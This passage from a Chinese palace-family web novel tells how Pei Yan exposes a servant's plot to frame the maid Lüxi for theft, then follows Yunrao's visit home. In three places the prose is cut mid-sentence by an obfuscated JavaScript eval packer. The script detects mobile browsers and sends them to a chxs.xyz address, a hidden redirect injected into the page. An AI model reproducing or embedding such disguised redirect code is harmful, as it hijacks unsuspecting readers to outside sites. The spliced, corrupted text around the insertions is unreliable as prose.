太夫人原就动了怒,既然徐嬷嬷查到了东西,又是她原就不太待见的小门小户来的丫鬟,对此事深信不疑,立时就要处置绿溪。 薛氏婆媳见太夫人动怒,便只隔岸观火。 明氏等人都不在场,更勿论帮忙。 剩下个范氏坐在那里,脸上也堆满怒气,直斥绿溪贪心过重不守规矩。嘴里还牵三挂四,说裴砚原就是姨娘所出疏于管教,好容易娶妻成亲,谁承想碰上这么个没规矩的丫鬟,当真是给二房丢人云云。 言语之间,似已断定绿溪的罪名,还打算拿这事儿立规矩。 云娆却哪里肯依? 猫儿眼那样贵重的东西,莫说绿溪这个小丫鬟,就是寻常人偷了,也得判个三千里的流放和苦役之刑。若再加上奴婢偷盗主家财物的罪名,怕是难逃一死。 更何况,云娆压根不信绿溪会动这玩意儿。 眼瞧着太夫人和范氏是要草菅人命,云娆只将绿溪死死护在身后,决不许那些仆妇碰半个手指头。 如意堂里一时闹开,太夫人愈发生气,脸都快黑了。 正闹得不可开交,老侯爷裴固不知是从哪里听说了风声,竟亲自赶了过来。 对着太夫人和范氏一叠声的质疑,裴固没说旁的,只是在绿溪和云娆脸上打量。 按理说,内宅一个小丫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴砚迅速把粥喝完,叮嘱道:“宁王那边还有安排,我今日需先出去一趟。这事我会处置,你不必跟她们掰扯。” 说完,又喝了两口汤,漱口后换上衣裳,自管大步出门去了。 云娆昨日既已露脸,也不好再以静养的由头躲懒,加之裴砚回来后无需再如小乌龟般躲在屋里,便也换好衣裙去婆母处问安。 如她所料,范氏的脸色并不太好。 但裴砚才扛着近些年罕有的战功回京,性情又跟茅坑里的石头般又臭又硬,她一时半刻不便拿捏人,纵有不满也只能忍着罢了。 慢吞吞地在儿媳环侍中用完饭,便动身去如意堂。 到那边,正巧碰见了长房婆媳和裴雪琼。 问安落座后闲扯了几句家常,趁着众人喝茶暂歇的间隙,明氏倒想起了一件事,“先前二哥病着没回门,如今他既回来了,二嫂你记得提醒他留出日子回门,可别让人笑话咱们侯府礼数不周。” 她的语气里藏了打趣,虽是说给云娆的,却不无提醒座中长辈的意思。 上头太夫人还真被她提醒到了。 先前云娆护着绿溪与她针锋相对,着实把太夫人气得不轻。不过时隔半月,她在儿孙环绕中笑口常开,倒渐渐忘了那一茬。 昨日裴砚随宁王回京时得太子率百官迎接,着实给侯府狠狠增了许多光彩,皇家赏赐里也有两份是给侯爷夫妇的,她收了厚礼,倒也惦记着这点功劳。 此刻听见这话,便颔首道:“这倒不错。你回门要用东西车马,只管跟你大嫂嫂说,别藏着掖着。” 云娆出阁两月后总算等来这消息,也是喜上眉梢,起身行礼道:“多谢祖母。” 19. 撑腰 回门的事裴砚任凭云娆安排。 他从宁王府归来后,便当真查问起了绿溪的事。 多年来在战场上摸爬滚打,裴砚初入行伍时既曾以小兵的身份上阵杀敌,也做过斥候打探消息,到后来大梁和北夏互相安插眼线耳目,他身为宁王的左膀右臂,自然也曾参与。 相较之下,内宅这点事办起来轻而易举。 已是入夜时分,云娆带了青霭和绿溪到不远处的小池塘散步消食,裴砚则喊上负责洒扫庭院的仆妇刘妈妈进了旁边的抱厦。 因枕峦春馆常年空置,先前其实只安排了一位年已六十的跛脚老妈妈看守。后来裴砚大婚,这样的老妈妈瞧着实在是含酸,便另从别处掉了六位仆妇丫鬟过来,其中不乏范氏的眼线。 裴砚清楚范氏的德行,走之前也跟宁王提了此事。 宁王遂安排人寻到这位刘妈妈,叮嘱她多留意枕峦春馆的动静。若二少夫人碰见麻烦事,或是有人在院里动手脚,侯府的主子们不闻不问,就及时去宁王府搬救兵,请宁王妃过来看顾几分。 刘妈妈又不笨,焉能掂量不出轻重? 这两个月里她洒扫庭院,瞧着很不起眼,实则细心留意着另外五位仆婢的动静。 如今裴砚归来,自是将各自的动向悉数禀报清楚。 裴砚听罢,便将素坠、素缨两个丫鬟和一个姓田的妈妈陆续喊过来——这仨人表面上安分做事,背地里却轮番往惠荫堂跑,背后缘故拿脚趾头都能猜得出来。 被喊到抱厦里,见裴砚翘着脚坐在那里慢吞吞喝茶,长随赵铁则凶神恶煞地站在旁边时,三人哪有不怵的? 都无需裴砚发话动手,单凭赵铁审讯北夏探子时用过的手段,只消稍稍用力就让素坠和素缨两个小丫鬟开口,承认她们给范氏当眼线,暗里窥探云娆的起居动静的作为。 但对于那枚猫儿眼,两人哪怕被吓得底裤都湿了也都没承认。 最后便是田妈妈。 她是范氏那边陪嫁跟过来的,虽说在范氏跟前不太得脸,忠心却深,加之年纪大见过些风浪,又顾忌着膝下儿女,嘴巴倒还挺硬。 赵铁少不得加点手段。 田妈妈毕竟是内宅深院里的妇孺,哪里真禁得住痛如椎骨钻心的手段?一盏茶之后终是松了口,将罪行招了个干干净净—— “那东西是二夫人房里的周姐姐给我的,让我悄悄塞到绿溪的箱柜里。” “猫儿眼丢的那一日,也是周姐姐让我寻了由头,带绿溪往那里走了两趟。” 她头回遭受不见外伤的剧痛折磨,惊恐畏惧之下摊在地上,声音颤抖而断续,“周姐姐说,事发之后绿溪定会被打死,这种事死无对证。” “奴婢也是迫不得已,求将军饶命!” 她趴在地上求饶,眼泪鼻涕和冷汗混成了一团。 裴砚冷冷瞥她一眼,示意赵铁将她先关到后头的倒座房里去。 少顷,赵铁回来,呲着牙笑了笑,“那老婆子吓得晕过去了,咱们要不要再去找那周妈妈的晦气?” “一路查到底,能把我那嫡母赶出侯府?”裴砚哂笑。 赵铁摇头道:“那敢情难!” 主仆俩自幼一处长大,裴砚幼时受了多少委屈,赵铁都是瞧在眼里的。情知这座侯府是什么样子,他其实也猜得到,哪怕把范氏推到明面上也不过是白闹一通,伤不到根基的。 “只是可怜了咱们少夫人,还得去她那里晨昏定省。若真被栽了贼名,搭上绿溪那丫头的性命,就真是造孽了。”赵铁不甘心地喟叹。 这道理他明白,裴砚自然更清楚。 当晚便暂且收手,只跟云娆说清楚缘故后各自歇下。 次日清早,云娆照旧去惠荫堂给婆母问安,裴砚则去了老侯爷裴固的书房。 …… 夏日天长,若不是碰见阴雨天气,女眷们多半会去如意堂给太夫人请安。 今儿早晨也不例外。 范氏嫁进侯府已有二十余年,最初还试着献殷勤讨婆母的喜欢,后来被崔氏压着处处不得志,瞧出太夫人更喜欢长房后便懈怠了许多。 今早慢吞吞用过早饭,带着儿媳们赶到如意堂时,果然长房婆媳几个都已经到了。 范氏习以为常,行礼落座。 如意堂里煮了香喷喷的牛乳茶,丫鬟们给各自盛了一碗,范氏尝过后不免赞叹。 正扯家常呢,忽听院里传来行礼问安的动静。 众人不由看向松鹤延年的屏风。 少顷,就见老侯爷裴固负着手走进来,素来严肃古板的脸上挂着一丝阴沉。他的身后跟着裴砚,一身利落的武人打扮,瘦腰宽肩在夏日单薄的衣衫下格外分明,神情是惯常的疏冷,只在瞥向云娆时轻轻点了点头。 两房婆媳忙站起来,同老人家行礼。 裴砚则如常问候长辈。 这俩人一个是身份贵重的老侯爷,一个是能征善战的当红武将,寻常很少踏进如意堂。今儿忽然结伴过来,就连太夫人都有些诧异。 “才刚说今早的牛乳茶火候恰到好处,你们就来了,正好一道尝尝。”她含笑招呼裴固坐下,让丫鬟去端茶。 裴固却没心思喝,只摆了摆手。 “老二非要我一道过来,说是有事要交代清楚。” 他今儿来得仿佛有点不情愿,也懒得扯旁的闲话,只靠在圈椅的扶手上,去拿新洗的杨梅,“正好人都在,你说吧。” 裴砚闻言起身,先朝太夫人拱了拱手。 “听说月初祖母丢了猫儿眼,查到了我那座枕峦春馆里。府里闹贼不是什么好事,孙儿便多查问了几句。” 他开门见山地道明来意。 太夫人虽不喜他又臭又硬的脾气,当着面倒很少表露,只是道:“东西已寻回来了。你刚回京事情忙,倒不必急着管这些,也不是大事。” 裴砚难得地扯了扯嘴角,“贼名可不是随便担的。那枚猫儿眼当日是从绿溪屋里搜出来,倒显得是我驭下不严。” 嗅出味道后闲坐看戏的薛氏听他把事情揽到自己头上,颇诧异地瞥了云娆一眼。 就听裴砚道:“后来经我查问,那东西并非绿溪捡去,而是我院里那位田妈妈受人指使,栽赃给绿溪。” 他故意停顿了下,没说指使的人是谁,只将视线随意扫过满屋众人。 两侧女眷神情各异,却没人追问这话茬。 ——当日裴砚大婚是范氏操持,那些仆婢也是范氏亲手选的,田妈妈据说还是她的陪嫁,这事儿后头藏了怎样的猫腻,不言自明。 崔氏跟薛氏对视一眼,却没敢在老侯爷面前出言挤兑。 屋里片刻安静。 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裴砚瞥了眼安安静静坐在旁边的苦主云娆,正色道:“内院的事原本无需孙儿过问,不过这回险些闹出人命冤案,想来仍觉心惊。枕峦春馆的人孙儿自会清理敲打,往后若再闹出事情,不论犯何种过错,都需经孙儿点头方可处置。” 此言一出,非但裴固夫妇和范氏脸色微变,就连云娆都诧异抬头望向他。 旁边薛氏更是道:“绿溪的事确实有不当之处,但二叔常年在外,内宅都是祖母和婆母料理,哪能事事都去问你的意思?” 崔氏亦道:“老二维护新妇,这无可厚非。但内宅自有规矩,江氏上头还有两层长辈教导,你这样做,传出去岂不是让人笑话!” 裴砚置若罔闻,只盯着裴固。 裴固的脸色不太好看,“我若不答应呢?” “那我就学学三叔,搬出去住。”裴砚倒淡然得很,“我这新妇胆小安静,学不来太多规矩。与其在府里添乱,不如我带她出去,长辈跟前还能清净些。” 裴固未料他竟这样说,顿时沉下了脸,“父母长辈俱在,你这样胡闹,也不怕皇上怪罪!” “我不在乎。最多如三叔般担点骂名,我死里逃生多少回了,还怕这个?” 他这样一说,裴固反而噎住了。 裴砚嘴里的三叔,就是他膝下庶出的第三子裴元绍。那厮也是自幼无法无天,不服管束,后来非要娶个来历不明的女子,裴固夫妇咬死了不答应,他便擅自娶妻,带着那女人到西川节度使麾下谋生去了,这些年甚少回京。 当时裴元绍并无名气,又是个庶子,跟家里闹翻后,侯府自然能把罪过都推到他头上,压住外头的揣测议论。 可裴砚是什么人? 力克劲敌护住边塞的功臣,非但与宁王交厚,还得皇上屡屡夸赞,是如今满京城议论的红人。若当真梗着脖子带媳妇儿搬出去,那他这侯爷真就要颜面扫地了。 裴固噎在那里,一时竟不知该恨裴砚的嚣张脾气,还是该恨范氏背后捣鬼的自私做派。 他含怒盯着裴砚,却没能等来分毫退让。 半晌,老侯爷拂袖而起。 “随你!往后枕峦春馆的人我们不管就是,还能省心不少!” 他丢下这句话,拉着张脸就走了。 20. 厚礼 老侯爷拂袖而去,如意堂的氛围也一时尴尬。 裴砚脸上倒是波澜不起,只瞥了眼裴固绕过屏风的背影,还没等老人家气呼呼地走出去,便朝太夫人拱手道:“祖母呢,可愿答应孙儿?” 太夫人几乎想骂他蹬鼻子上脸。 但老侯爷既已发话,她也只能顺从,僵着脸道:“你向来主意大,长辈们管束不住。枕峦春馆的人你自去约束,我懒得过问!” “多谢祖母!”裴砚端正拱手。 外头裴固听见这话,气得又翻了个白眼。 裴砚办完了事,便将视线投向云娆,“我那几件东西都找好了么?外头急着用。” 云娆先前蒙受不白之冤,据理力争才保住绿溪,心里难免憋了气。如今当着众人的面洗清绿溪的嫌疑,范氏的嘴脸也昭然于众人面前,心里自是畅快了许多。 眼瞅着裴砚气走长辈,还强硬地给自己讨了护身符,哪有不感激的? 闻言忙道:“方才急着出门,还没找好呢。” 说着话,便以回屋找东西为由起身辞别长辈,而后随裴砚一道离开如意堂。 小夫妻俩一走,所有人都似松了口气。 崔氏瞥了眼弟媳憋得跟猪肝似的脸色,终于忍不住出言挤兑,“老二还是这样的犟脾气,不肯让身边人吃半点亏。那田妈妈也是,明知他是这样强硬的性子,还要暗中生事,连累侯爷都生了气,真是打死都不足惜。” 这话只差指着范氏的鼻子骂了。 范氏脸上挂不住,见太夫人也暗藏怨怪,怕说多了自取其辱,只好起身告罪,寻个由头先回屋去了。 …… 从如意堂到惠荫堂,范氏僵着脸脚步如飞,从来都没走得那么快过。 直到回屋掩上门,她的泪才滚落下来。 周妈妈和田妈妈都是她的陪嫁,当日那颗猫儿眼是怎么回事,范氏比谁都清楚。 其实当时人赃俱获,若非老侯爷忽然赶来,凭太夫人的盛怒,杖毙绿溪是轻而易举的事。届时死无对证,老二屋里出了贼的罪名板上钉钉,哪怕裴砚回来也不能怎样,云娆这辈子都别想在她跟前抬起头来。 可谁知老侯爷竟会插手? 范氏当时瞧着老侯爷的维护姿态,便知事情不太妙,还特地让周妈妈去封口。谁知裴砚手段狠毒,这么快就刨问了出来。 如今东窗事发,如意堂里那情形无意于把她的脸铺在地上踩。 裴砚后来讨的那个许诺更如杀人诛心。 范氏想起长嫂那嘲讽的眼神,都恨不得找个地缝钻进去。 她坐在榻边抹泪,一时后悔当初做事不够周密没能坐实罪名,一时后悔自己过于心软,没把田妈妈给灭了口,一时又恨裴砚忤逆放肆,为了个不起眼的小丫鬟那样大张旗鼓的闹事。 恨到最后,她又想起了潘姨娘。 二十余年来的心病、暗恨与不甘,似乎都是源于潘姨娘。 哪怕已经隔了小半辈子,范氏也清晰记得,她刚嫁进来的时候裴元曙跟潘姨娘是何等恩爱,连同侯爷夫妇都对潘姨娘颇为礼遇。 甚至她刚嫁进来时裴元曙总是有意无意的避着她不愿同房,即使夫妻房事后睡过去,都还会在梦里唤潘姨娘的小字。 初嫁的女子,谁能忍受这种事? 范氏心里藏了怨气,因着高嫁的缘故不敢跟丈夫裴元曙闹,难免把气撒在潘姨娘的头上。 那潘姨娘明明身份卑微,却生了副官家千金似的脾气,为着那些琐事,没少跟裴元曙甩脸子,每回都是裴元曙腆着脸去哄。 后来经不住挤兑,索性搬去了庄子。 裴元曙不知是赌气还是怎么,也极少再去看潘姨娘,只安分待在府里。 但即便如此,之后的十几年里,裴元曙对她这正妻也只是举案齐眉般的客气,从未像待潘姨娘那样悉心呵宠过。甚至夫妻拌嘴争吵时,言辞里也多是维护潘姨娘,不让她抱怨指摘。 漫长的光阴,范氏明知丈夫心系旁的女人却无能为力,只能任由怨恨积攒,如一团火般憋在身体里。 而今日火苗愈盛,一直到晚上裴元曙回来时都没压下去。 侯府里就这么大点地方,白日里裴砚惹得老侯爷夫妇动怒,裴元曙回来后自然也听说了。得知事情原委,他无需多问便知道那田妈妈背后指使的人是谁。 回屋见着范氏,难免出言埋怨。 “老二常年在沙场上,回府里也住不了几天,他那媳妇性子又和顺,咱们安稳过日子不行吗,非得这样闹?” 他瞧着在窗边生闷气的范氏,自管脱了外裳,“老三这回落了榜,还不知往后能挣个怎样的前途,你有那功夫,多给他操心才是正经!” “我怎么没操心?”范氏听了埋怨,只觉得委屈,“他打小读书识字,哪件事不是我操心的?难道我不想他有个好前途?这回没中,下回再考就是了!” “下回?老二在他这年纪已经是六品官了,他还得等下回!” 范氏听见这话,冷笑道:“谁比得上老二呢!” 这语气太酸,裴元曙也意识到说错了话,只好回身软了语调,“我也不是埋怨你,老三科举不顺,原也是我这做父亲的疏忽,不怪别人。只是这回老二屋里的事……” 他顿了顿,叹气道:“我知道你心里有芥蒂。但这都多少年了,你有怨气只管冲我来,何必跟她们母子计较呢?” “我哪敢跟她计较!”范氏见他又维护潘姨娘母子,不由冷嘲道:“每回你都说对不住她,我若再提旧事,你怕是连侯爷对不住她这种话都编得出来了!” 裴元曙被她怼得面色微僵,一时间没再说话。 言者无意,听者有心。 这座侯府威仪煊赫,瞧着簪缨繁华,可对潘姨娘,莫说是他,就连老侯爷夫妇都该心中有愧的。 但这种事没法跟范氏说清楚。 裴元曙嘴唇动了动,到底没多说什么,只在范氏肩上拍了拍,而后披上外裳出门去了。 …… 枕峦春馆里,云娆这会儿却心绪极佳。 不止因为裴砚撑腰换来的护身符,更因为明日就能回门看望母亲她们了! 两月未见,云娆见识过婆母的难伺候之后,几乎恨不得飞回去贴在母亲身边多住几日,哪怕竭力藏着情绪,那笑容也是藏都藏不住。 裴砚看她乐滋滋忙碌的样子,不由也笑了笑。 他这回跟宁王北上,不止活捉屠长恭,也尽挫北夏精锐,边塞少说能安生个四五年,让深宫里沉湎书画贪图安乐的承平帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661285|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里踏实了不少。 只是外患虽除,内乱却愈演愈烈。 各处的民乱一波连着一波,莫说地方节度使,即便太子举荐的武将带着禁军过去也是节节败退。 承平帝私心里不愿宁王功勋过高抢走风头,是以如今还是将事情交给太子打理,盼着太子能一举平定内乱,将储君之位坐得更稳。但为保周全,还是让宁王安顿好边塞驻防等事之后,将裴砚等几位堪用的将领都带回了京城,平素仍在京郊练兵,以备不时之需。 这般情形,裴砚一时半刻是不会回边塞了。 云娆便将正屋梢间收拾整齐给他当书房,晚间正好歇在那里,夫妻俩一人睡一间。 这会儿云娆带着人打理书架床铺等物,裴砚难得闲着,在院里紫藤花架下纳凉。 等屋里收拾妥当,云娆喊他去瞧瞧。 裴砚常年在边塞军中,对住处其实不太挑。瞧见洁净宽敞的书案,坐在铺好的床褥上试了试,这两样都合乎心意,他便颇为满意。 觑向云娆时,神情也藏了赞许。 云娆被他看得有点不好意思,“东西都是我从库房挑的,也不知将军用不用得惯。若有不妥当的,将军尽管吩咐,我让人换了就是。” “都很好。”裴砚瞧了眼天色,“明日归宁,礼都备好了吗?” 云娆点点头,“准备了些,将军再掌掌眼?” “走,看看!” 两人一道往厢房去,里头一溜锦盒,都是打算明日带回去给江家众人的——因范氏和薛氏不好相与,云娆也没打算贪侯府的便宜,东西多半是从体己的银钱里出,又依着裴砚先前的吩咐从库房拿了几样,质地都是上佳,用作回门礼绰绰有余。 裴砚看过之后,哪能猜不出她的心思? 当即喊上常妈妈和金墨,他亲自去库房挑了些御赐和这几年囤积的好东西,足足添了两倍有余。 给云娆母亲和兄嫂的东西更是精中选精,无不名贵。 这般厚礼,非但云娆和绿溪等人,就连赵铁看了都险些惊掉下巴。 翌日仆妇们抬着东西出去,赵铁帮忙搬进车厢后,趁着云娆提裙登车的间隙,他凑到裴砚身边啧啧称叹,“二爷出手可真阔绰,大少夫人当初回公府的时候,回门礼恐怕也没咱们贵重。” 裴砚只挑挑眉,“给她撑撑门面。” 赵铁嘿嘿笑了笑,低声打趣:“你不是说……”话没说完,被裴砚一瞪,赶紧缩缩脖子退开,却仍一脸玩味。 裴砚却也知道他想说什么。 乱点鸳鸯谱的婚事,他最初也没打算真的接受,且他有意往后回边塞驻守,云娆这样娇滴滴的小姑娘受不得风沙之苦,这婚事长久不了。只是刚回京事情多,还没来得及跟云娆深谈罢了。 他当初碍于战事,放任范氏拿着冲喜的由头促成婚事,论起来其实是耽误了云娆终身的,难免存了几分亏欠弥补之意。 小姑娘非但生得漂亮,瞧着又是懂事的性子,这点东西实在算不得什么。 那边云娆已然坐好,掀起侧帘招呼他。 回娘家的欣喜全都写在了脸上,那双眼笑得如同弯月,清澈而粲然,在薄妆珠钗映衬之下只觉容色皎然。 裴砚不由一笑,也自翻身上马跟在旁边。 21. 回门 马车从靖远侯府驶出,穿街越巷赶往江家。 徐氏和苏春柔早就得了云娆的口信,将归宁的事禀明江老太爷两口子,这会儿婆媳俩在院里坐不住,不时让童妈妈到府门口去瞧。 云娆许久没回家,也是迫不及待。 时近端午,天气一日热似一日,甜井巷里槐荫正浓,暖热的阳光透过枝叶缝隙洒下来,照出斑驳错落的细碎光影。 马车拐进巷口时,云娆拿手掀起侧帘一角,远远就看到家门口站了好几个人,童妈妈翘首的身影格外显眼。 旁边绿溪不由笑道:“夫人想必是等得着急了,连童妈妈都派了出来。” 一面说着,一面帮云娆整理衣裙。 待马车在府门前停稳,徐氏和苏春柔早已快步赶出来,瞧见云娆全须全尾眉眼弯弯的跳下马车,徐氏喜得笑意愈浓,赶紧拉住女儿双手。 时隔两月,她的身子明显好了许多。 云娆犹记得二月出阁时,母亲走路还需童妈妈在旁搀扶,走急了还得喘会儿气。如今非但气色好转,脚步也不再似从前虚浮,莫说要旁人搀扶,因苏春柔挺着快九个月的大肚子,她做婆婆的还能反过来搀儿媳一把。 这般情形,莫说是云娆,就连绿溪都有些喜出望外。 旁边苏春柔也笑道:“这个夏天母亲的身子可是好了不少,这功劳多半还得记在你头上!” “我可不敢居功,都是嫂嫂体贴照顾。”云娆与她素来亲近,笑眯眯说着,见苏春柔的肚子高高隆起,不由伸手轻轻摸了摸,“嫂嫂挺着大肚子还出来,也不怕累着,快进去歇息才是。” 隔着柔软的衣裳触感温热,云娆瞧着苏春柔明显胖了半圈的身段,既心疼她怀孕的辛苦,又有些期待肚子里的小家伙。 姑嫂俩聊着天旁若无人,徐氏却惦记着新姑爷。 当日仓促冲喜,听说裴砚缠绵病榻重伤不治,徐氏是真的怕女儿嫁进侯府后会守寡。 如今裴砚策马而来,蟹壳青的锦衣绣以银线暗纹,腰间蹀躞衬着颀长峻拔的身段,那身沙场历练后的端然气度更是满京城男儿所不及。 先前捷报频传,徐氏想象中的裴砚威仪狠厉,靠着铁血手腕统帅部下震慑敌军,手染万千性命后应是令人畏惧的。如今终于会面,见裴砚翻身下马拱手问候,既不失武将利落飒爽风姿,也收敛出清贵有礼的姿态,倒不是想象中的盛气凌人。 徐氏心下欢喜,忙招呼他进府里坐。 仆妇们抬着一盒盒回门礼,有序跟在后面。 明媚日头照遍小巷,左邻右舍都知道云娆冲喜嫁进侯门的事,也听说了裴砚安稳边塞的赫赫战功,今日难免有看热闹的。 瞧见云娆马车后面仆从成群,那些锦盒流水般抬进江家,裴砚则昂首阔步陪着云娆绕过照壁,不免羡慕这排场。 人群渐次散去,有人低声叹道:“江二姑娘这回当真是守得云开见月明,苦尽甘来了。” “是啊,先前我是真替她担心。”同行的妇人瞧着旁边没了人,低声道:“当时二姑娘出阁三日没能回门,你不知道外头说得多刻薄。就连她家三姑娘都说,二姑娘为谋侯府富贵甘愿去冲喜,往后定是要守寡的。” “你听她含酸刻薄呢,二姑娘可不是那样贪慕虚荣的人。” “谁说不是呢!倒是他们二房,打着侯府亲戚的名头上蹿下跳,听说还真沾了光,给三姑娘说了门不错的亲事。” “凭她怎样的亲事,还能比得上裴将军?”那妇人跟江家相熟,回头瞥了眼渐而空荡的小巷,低笑揶揄道:“三姑娘打小爱攀比,心气儿又高,若见着裴将军这等风姿,怕是就瞧不上那婚事了。” 旁边那人闻言也自笑了。 …… 晴日高照,江家的正厅里这会儿茶香袅袅,正是热闹。 上至江老太爷,下至年才十一的江季行,阖府众人几乎聚了个齐全。 就连江伯宣都特地告假,后晌便可赶回京城。 云娆踏进门,瞧见满屋热情洋溢的笑容,几乎怀疑是走错了地方。 ——当初两房闹得不愉快,因她帮母亲讨回那两家铺子的账目断了二房白捡银钱的财路,哪怕是出嫁那日二婶祁氏都拉着个脸。 今日却笑脸相迎,倒是意料之外。 众人依次坐下,云娆和裴砚依礼拜见长辈。 江老太爷到老也只混了个六品官,如今平白捡了个官居四品的孙女婿,且这孙女婿出身侯府,深得宁王器重赏识,在武将里又是一等一的出挑,当真是打着灯笼都找不到的金龟婿。 他自觉面上有光,上了年纪的腰背都挺直了不少,一叠声只夸裴砚年轻有为,云娆嫁得好。 老夫人和二房几位收了厚礼,也是笑得合不拢嘴。 唯有江云影闷闷不乐。 毕竟是堂姐妹,云娆虽与她合不来,这回准备的礼物其实也颇为贵重,都是能撑场面的漂亮首饰,也颇衬江云影的气质。 但江云影却怎么都高兴不起来,勉强扯出个笑意道谢,目光却还黏在裴砚身上挪不开。 云娆只当没瞧见,转而给堂弟递上礼物。 一圈儿挨个认完了脸,上首老夫人便笑道:“先前姑爷病着,加上边塞战事紧急才耽误了回门。不过这场回门宴咱们可是早就惦记着了,今晚务必好生热闹一番。这里虽比不得侯府,屋舍却也有,姑爷多喝几杯,今晚就住下吧。” 她笑得热情洋溢,似与云娆十分亲热。 云娆却听得心头微微一跳。 裴砚愿意帮着撑场面,她自然是心存感激的。 不过江家就那么些院落屋子,她又不好去住客舍,最好还是住在西竹馆。那里虽说也不算逼仄,里头却只有一张床。她跟裴砚顶着夫妻之名,实则夜里各睡一张床榻,今晚若要挤在她那闺房里,难免会有些尴尬。 这样想着,不由瞥了裴砚一眼,迅速琢磨回绝的措辞。 谁料裴砚端坐在圈椅里啜茶,闻言竟颔首道:“有劳祖母。既是舅兄后晌会回来,正好把酒畅谈。” 他爽快答应,云娆想拦都来不及。 旁边苏春柔闻言微微一笑,与徐氏对视了一眼。 夫妻归宁时留宿在娘家也是常事,徐氏早就遣人把西竹馆收拾出来了,怕原先云娆那张床榻睡不下人高马大的裴砚,还特地换了宽敞的。 如今看来倒是未雨绸缪了。 几个人各怀心思,对面祁氏才从收到厚礼的喜悦里缓过来,瞧着裴砚这风姿气度,真恨不得当初冲喜嫁过去的是自家的江云影。 不过事已至此,悔青肠子都没用。 她膝下的江仲焕中过秀才之后便屡试不第,正愁没个出路呢,如今既有这样出挑的妹夫,难免生出攀附结交,请裴砚提携指点的心思。 这会儿便也凑趣奉承起来。 云娆瞧着那样子,只觉得脑袋疼。 好在今日裴砚心绪不错,虽说在侯府的长辈跟前冷淡强硬,多余的话都不肯多说半句,对江家倒像是多了几分耐心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680515|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这样闲扯了一通,江老太爷便寻个由头请裴砚到书房坐着说体己话,刚好撇下云娆跟母亲和长嫂回西跨院。 众人暂且散去,只等晚间家宴。 江云影眼瞧着裴砚姿容出众荣耀加身,连带云娆都众星捧月起来,心里哪会好受? 回到东竹馆,她便怏怏的坐在榻上。 红珠捧回云娆送的厚礼,正将首饰挨个取出来往妆台归置,口中道:“二姑娘这回真是出手阔绰,这些钗子真好看!回头姑娘戴了去赴宴,定是要羡煞旁人的。” “什么好东西,我还缺几个钗簪么!” 江云影嘴上嫌弃,瞧见金钗上镶嵌的宝石时却又舍不得丢开,想起云娆如今的富贵阔绰,心里愈发酸楚起来。 当初裴家登门提亲,她其实也羡慕侯府的门第。 祖母当时还开玩笑说要是她愿意,会跟裴家商量着换她嫁过去冲喜。只是彼时她以为裴砚吊着命没救了,才打消那个念头,甚至对云娆嫁过去就要守寡的前途幸灾乐祸。 可如今怎样呢? 裴砚非但好端端的活着,还在战场立了大功劳,且他生得又…… 江云影但凡想起裴砚慨然而来的端贵身姿和矫健气度,想起当初一念之差错过了这样好的婚事,心里就如横了一根刺,怎么着都难受。 红珠瞧出她的心事,便凑到跟前安慰,“姑娘也别多想了。好些事表面瞧着光鲜,内里还不知怎样呢,听说领兵打仗的人都性情冷戾,哪里比得上姑娘的夫家,是温润如玉的读书人。往后像夫人说的那样举案齐眉,可不好么。” 温润如玉吗? 江云影想起周翰林那儿子,心里一时五味杂陈。 当初母亲趁势为她说定这门亲事时,她其实还算满意。毕竟比起云娆嫁给武夫后守寡的惨淡光景,周家既有诗礼传家,那周公子也生得白净秀气,是个很不错的去处。 可如今再看,论家世论姿貌,那周公子哪里比得上裴砚呢? 何况,听说裴砚大捷归来,后天就要带云娆进上林苑领皇后亲赐的宫宴,那是何等荣耀! 江云影懊丧地扑在榻上,片刻后泪珠徐徐滚落。 …… 西跨院里,云娆这会儿却笑容轻快。 母女俩难得团聚,徐氏问的最多的便是她在侯府的处境。 譬如裴家的长辈婆母可曾故意刁难,妯娌小姑子是不是好相处等等。 云娆怕母亲担忧,没怎么提范氏私下里那些小手段,只是道:“不能说侯府有多好,但总归比出阁前料想的好一些。婆母跟将军毕竟不是亲生母子,平素也不大过问我的事,只消晨昏定省也就完了。” “至于母亲担心大少夫人欺凌,说实话,她自负出身高贵,平素很少跟我搭话。何况侯府那么一大家子,料理起来哪有容易的?” 这样一说,徐氏倒是稍微放心了些,“她出身高门,自诩尊贵也是有的。只消别来欺负你,旁的倒也好说。” 云娆闻言莞尔,又说起明氏、秦氏和裴雪琼等人。 提到白云岭里明氏带她造访汲古楼、疯马冲撞后秦氏帮她照看伤口的事,徐氏不免念佛,“这两位倒是热心肠。她们既好相与,你也该投桃报李,念着人家的好。” 说罢,又瞥了眼窗外,料想老太爷不会这么快就放裴砚回来,便让人掩上门扇,低声道:“姑爷呢?他私下里待你好不好?” 云娆对上母亲暧昧含笑的眼睛,一时有些分不清她说的私下里是指哪种。 22. 醉酒 柔暖的风透过窗隙钻进来,卷着院里栀子花的清香拂过鼻端,也撩动云娆细碎的鬓发。 她纤秀的手指绞着腰间宫绦,不自觉垂眸道:“他挺好的。” 这回答太敷衍,徐氏显然不太满意。 